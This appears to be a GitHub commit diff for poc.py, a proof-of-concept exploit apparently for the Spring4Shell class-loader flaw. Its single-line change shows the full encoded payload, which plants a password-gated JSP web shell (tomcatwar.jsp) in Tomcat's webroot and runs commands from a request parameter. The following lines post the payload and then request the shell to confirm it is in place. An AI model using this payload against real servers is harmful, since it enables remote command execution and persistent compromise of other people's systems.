Skip to content

Commit 0c557e8

Browse files
Fixed code breaking bug
1 parent 4519d20 commit 0c557e8

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

poc.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def Exploit(url):
1515
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
1616
try:
1717

18-
go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
18+
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
1919
shellurl = urljoin(url, 'tomcatwar.jsp')
2020
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
2121
if shellgo.status_code == 200:

0 commit comments

Comments
 (0)